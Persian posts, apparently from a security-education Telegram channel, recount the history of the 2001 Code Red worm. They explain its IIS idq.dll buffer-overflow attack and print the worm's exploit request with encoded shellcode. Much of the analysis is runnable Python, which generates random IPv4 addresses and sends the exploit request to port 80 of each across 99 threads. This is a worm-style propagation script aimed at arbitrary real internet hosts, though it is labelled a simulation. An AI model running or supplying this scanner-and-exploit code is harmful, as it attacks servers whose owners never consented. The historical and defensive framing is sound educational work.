GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0
در این درخواست، دادههای بعد از کاراکترهای N به عنوان دستورات تفسیر و اجرا میشوند. تمام کد مخرب در خود درخواست قرار دارد، بنابراین اگر سرور آسیبپذیر باشد، بلافاصله و با احتمال ۱۰۰٪ آلوده میشود.
• رفتار کرم: رفتار کرم بسته به تاریخ روز متفاوت بود. از روز ۱ تا ۱۹ هر ماه، کرم فقط به گسترش خود میپرداخت: با اسکن سرورهای اینترنتی، درخواستهای مخرب را به آنها ارسال میکرد. برای این کار، روی هر سیستم آلوده، ۹۹ thread موازی ایجاد میشد که هر کدام لیستی از کامپیوترهای جدید برای آلودهسازی را تولید میکردند. از روز ۲۰ تا ۲۷ هر ماه، کرم حملات DDoS را علیه لیستی از آدرسهای IP که در کد آن تعبیه شده بود، انجام میداد. یکی از این آدرسها، مربوط به وبسایت کاخ سفید بود.
• اوج شیوع: اگرچه گسترش کرم در ۱۵ ژوئیه ۲۰۰۱ گزارش شد، اما اوج آن در ۱۹ ژوئیه اتفاق افتاد، زمانی که بیش از ۳۵۹ هزار سرور آلوده شده بودند. بعدها، با نصب بهروزرسانیهای امنیتی مایکروسافت توسط مدیران سیستمها، شیوع کرم کاهش یافت. البته نسخه دوم کرم با نام Code Red II نیز ظهور کرد که از کاراکترهای X به جای N در درخواستهای خود استفاده میکرد.
• نتیجهگیری: از این ماجرا دو درس مهم میتوان گرفت. اول اینکه نصب بهموقع وصلههای امنیتی که ۲۴ سال پیش اهمیت زیادی داشت، هنوز هم موضوعی حیاتی است. دوم اینکه خوششانسی بزرگی بود که کد رد فایلها را رمزنگاری نمیکرد، پسوردها را نمیدزدید یا دادهها را نابود نمیکرد. اگر هدف مهاجمان مخربتر بود، عواقب این حمله میتوانست بسیار فاجعهبارتر باشد.
@TryHackBoxStory
👍2
TryHackBox Story
🪱 کد رد (Code Red) • صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعههای نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را مینوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام…
تحلیل حمله بر فرض مثال چطوری کرم گسترش پیدا کرده :
۱. روش اصلی حمله: سوءاستفاده از آسیبپذیری سرریز بافر (Buffer Overflow)
هدف: وبسرورهای Microsoft IIS (Internet Information Services) که نسخههای آسیبپذیر کتابخانه idq.dll را اجرا میکردند.
مکانیزم:
کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکسسازی (Indexing Service) میشد:
رشته Nها باعث سرریز بافر و بازنویسی حافظه میشد.
کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم میداد.
۲. روشهای گسترش خودکار
+ اسکن تصادفی IPها:
کرم به صورت خودکار آدرسهای IP تصادفی را اسکن میکرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال مینمود.
اسکن تصادفی IPها
کرم Code Red از الگوریتمهای سادهای برای تولید آدرسهای IP تصادفی استفاده میکرد. در پایتون، این فرآیند را میتوان به صورت زیر شبیهسازی کرد:
+ ارسال درخواست مخرب به پورت ۸۰
کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه socket شبیهسازی کرد:
تکثیر موازی:
روی هر سیستم آلوده، ۹۹ thread موازی ایجاد میکرد تا اسکن و آلودهسازی را تسریع کند.
+ ایجاد Threadهای موازی برای اسکن و آلودهسازی
کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلودهسازی استفاده میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه
---
عدم نیاز به تعامل کاربر:
برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد!
جمعبندی
این کدها صرفاً برای درک بهتر مکانیزمهای گسترش کرم Code Red ارائه شدهاند. امروزه، چنین حملاتی با استفاده از فایروالها، سیستمهای تشخیص نفوذ (IDS)، و بهروزرسانیهای امنیتی به راحتی قابل پیشگیری هستند.
@TryHackBoxStory
۱. روش اصلی حمله: سوءاستفاده از آسیبپذیری سرریز بافر (Buffer Overflow)
هدف: وبسرورهای Microsoft IIS (Internet Information Services) که نسخههای آسیبپذیر کتابخانه idq.dll را اجرا میکردند.
مکانیزم:
کرم با ارسال یک درخواست HTTP مخرب به شکل زیر، باعث سرریز بافر در ماژول ایندکسسازی (Indexing Service) میشد:
GET /default.ida?[رشته طولانی از Nها]%u9090%u6858%ucbd3%u7801... HTTP/1.0
رشته Nها باعث سرریز بافر و بازنویسی حافظه میشد.
کد هگزادسیمال بعدی (%u9090...) حاوی دستورات ماشینی (Shellcode) بود که کنترل سرور را به مهاجم میداد.
۲. روشهای گسترش خودکار
+ اسکن تصادفی IPها:
کرم به صورت خودکار آدرسهای IP تصادفی را اسکن میکرد و به هر سروری که پورت ۸۰ (HTTP) باز بود، درخواست مخرب خود را ارسال مینمود.
اسکن تصادفی IPها
کرم Code Red از الگوریتمهای سادهای برای تولید آدرسهای IP تصادفی استفاده میکرد. در پایتون، این فرآیند را میتوان به صورت زیر شبیهسازی کرد:
import random
def generate_random_ip():
return ".".join(str(random.randint(0, 255)) for _ in range(4))
# مثال: تولید ۱۰ آدرس IP تصادفی
for _ in range(10):
print(generate_random_ip())
+ ارسال درخواست مخرب به پورت ۸۰
کرم پس از پیدا کردن یک سرور با پورت ۸۰ باز، درخواست HTTP مخرب خود را ارسال میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه socket شبیهسازی کرد:
import socket
def send_malicious_request(ip):
try:
# ایجاد یک سوکت TCP
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2) # تنظیم timeout برای اتصال
sock.connect((ip, 80)) # اتصال به پورت ۸۰
# ارسال درخواست مخرب
malicious_request = (
"GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\r\n"
"Host: example.com\r\n"
"\r\n"
)
sock.send(malicious_request.encode())
# دریافت پاسخ (اختیاری)
response = sock.recv(4096)
print(f"Response from {ip}: {response.decode()}")
sock.close()
except Exception as e:
print(f"Failed to connect to {ip}: {e}")
# مثال: ارسال درخواست به یک IP تصادفی
random_ip = generate_random_ip()
send_malicious_request(random_ip)
تکثیر موازی:
روی هر سیستم آلوده، ۹۹ thread موازی ایجاد میکرد تا اسکن و آلودهسازی را تسریع کند.
+ ایجاد Threadهای موازی برای اسکن و آلودهسازی
کرم Code Red از ۹۹ thread موازی برای تسریع فرآیند اسکن و آلودهسازی استفاده میکرد. در پایتون، این کار را میتوان با استفاده از کتابخانه
threading شبیهسازی کرد:import threading
def scan_and_infect(ip):
print(f"Scanning {ip}...")
send_malicious_request(ip)
# ایجاد ۹۹ thread موازی
threads = []
for _ in range(99):
ip = generate_random_ip()
thread = threading.Thread(target=scan_and_infect, args=(ip,))
thread.start()
threads.append(thread)
# منتظر ماندن برای اتمام تمام threadها
for thread in threads:
thread.join()
---
عدم نیاز به تعامل کاربر:
برخلاف بسیاری از بدافزارها، Code Red برای گسترش نیازی به کلیک کاربر یا اجرای فایل پیوست نداشت. تنها کافی بود سرور به اینترنت متصل باشد!
جمعبندی
این کدها صرفاً برای درک بهتر مکانیزمهای گسترش کرم Code Red ارائه شدهاند. امروزه، چنین حملاتی با استفاده از فایروالها، سیستمهای تشخیص نفوذ (IDS)، و بهروزرسانیهای امنیتی به راحتی قابل پیشگیری هستند.
@TryHackBoxStory
👍5
TryHackBox Story pinned «🪱 کد رد (Code Red) • صبح روز ۱۵ ژوئیه ۲۰۰۱: تحلیلگران شرکت eEye Digital Security در حالی که آخرین جرعههای نوشیدنی گازدار محبوبشان، Code Red Mountain Dew، را مینوشیدند، با هشدارهایی درباره گسترش سریع یک کرم کامپیوتری جدید مواجه شدند. همین موضوع باعث شد نام…»